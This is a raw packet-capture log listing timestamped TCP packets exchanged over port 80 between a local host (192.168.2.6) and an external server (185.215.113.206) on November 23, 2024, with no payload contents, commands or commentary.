Nov 23, 2024 21:59:17.326075077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.326116085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.327764988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.327832937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.328377008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.328430891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.328505993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.328547955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.332268000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.332310915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.332355976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.336019039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.336062908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.336091042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.336138964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.339469910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.339524984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.339618921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.339660883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.342997074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.343116045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.343172073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.343215942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.346388102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.346437931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.346858025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.346923113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.349844933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.349917889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.350519896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.350573063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.353326082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.353410006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.354496002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.354557991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.356764078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.356806993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.356906891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.357129097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.360264063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.360281944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.360315084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.360330105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.363706112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.363765001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.363804102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.363848925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.366811991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.366868973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.367041111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.367090940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.369986057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.370040894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.370138884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.370187044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.372965097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.373013020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.373399019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.373461008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.375999928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.376050949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.376230955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.376282930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.379095078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.379158974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.396541119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.396555901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.396609068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.397351027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.397398949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.397438049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.397500992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.400295019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.400343895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.400614977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.400659084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.402491093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.402544022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.402659893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.402698040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.405424118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.405469894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.405823946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.405927896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.408349037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.408396006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.408618927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.408657074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.411170006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.411218882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.411411047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.411533117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.414002895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.414050102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.414064884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.414109945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.416749954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.416850090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.416902065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.416948080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.419461966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.419533014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.420012951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.420063019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.422184944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.422264099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.422370911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.422414064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.424844980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.424935102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.425493002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.425548077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.427541971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.427603960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.427774906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.427829027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.430121899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.430177927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.430849075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.430901051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.431633949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.431679010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.432307005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.432408094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.433088064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.433139086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.433176994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.433307886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.434582949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.434637070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.434731007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.434782982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.434803963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.436144114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.436218977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.436289072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.436449051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.437568903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.437632084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.438210964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.438256979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.439043999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.439157009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.458575964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.458771944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.458801031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.458822012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.459227085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.459286928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.459604025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.459665060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.460671902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.460733891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.461108923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.461167097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.462152958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.462203979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.462311983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.462354898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.463638067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.463690042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.464152098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.464196920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.465107918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.465171099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.465686083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.465742111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.466602087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.466650009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.467041016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.467092991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.468106031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.468173027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.468647003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.468712091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.469573975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.469633102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.470279932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.470341921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.471096039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.471158981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.471405029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.471457005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.472582102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.472644091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.472675085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.472718954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.474271059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.474332094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.474747896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.474848032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.475545883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.475600958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.476166010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.476244926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.477035999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.477160931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.477906942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.478022099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.478523970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.478590012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.479058981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.479249954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.479983091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.480031967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.480967045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.481028080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.481466055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.481573105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.482470989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.482645988 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.545109987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.545191050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.545196056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.545229912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.545557022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.545622110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.545664072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.546878099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.546926975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.547048092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.547090054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.548190117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.548296928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.548775911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.548850060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.549510002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.549632072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.549675941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.550858021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.551090956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.551120996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.551155090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.552184105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.552242041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.552279949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.552649975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.553508043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.553558111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.554105043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.554155111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.554811954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.554828882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.554913044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.554913044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.556067944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.556108952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.556941986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.556994915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.557373047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.557389975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.557423115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.557437897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.558613062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.558742046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.559055090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.559099913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.559926987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.559978008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.560429096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.560478926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.561214924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.561230898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.561294079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.561295033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.562499046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.562551022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.563050032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.563106060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.563754082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.563810110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.565108061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.565124035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.565140963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.565172911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.565201998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.617719889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.617789984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.617870092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.617924929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.618204117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.618257046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.618480921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.618530989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.619251013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.619298935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.619431973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.619484901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.620301008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.620358944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.620402098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.620526075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.621285915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.621404886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.621455908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.622317076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.622383118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.622432947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.622539043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.623374939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.623429060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.623666048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.623790979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.624373913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.624460936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.624742985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.624793053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.625401020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.625463009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.625607967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.625662088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.626420021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.626482964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.627054930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.627283096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.627473116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.627490044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.627523899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.627538919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.628493071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.628546953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.629106045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.629194975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.629487038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.629544973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.629942894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.629993916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.630517960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.630568027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.631104946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.631154060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.631537914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.631716013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.631799936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.631851912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.632567883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.632617950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.633230925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:17.633285999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:17.633626938 CET	80	49714	185.215.113.206	192.168.2.6
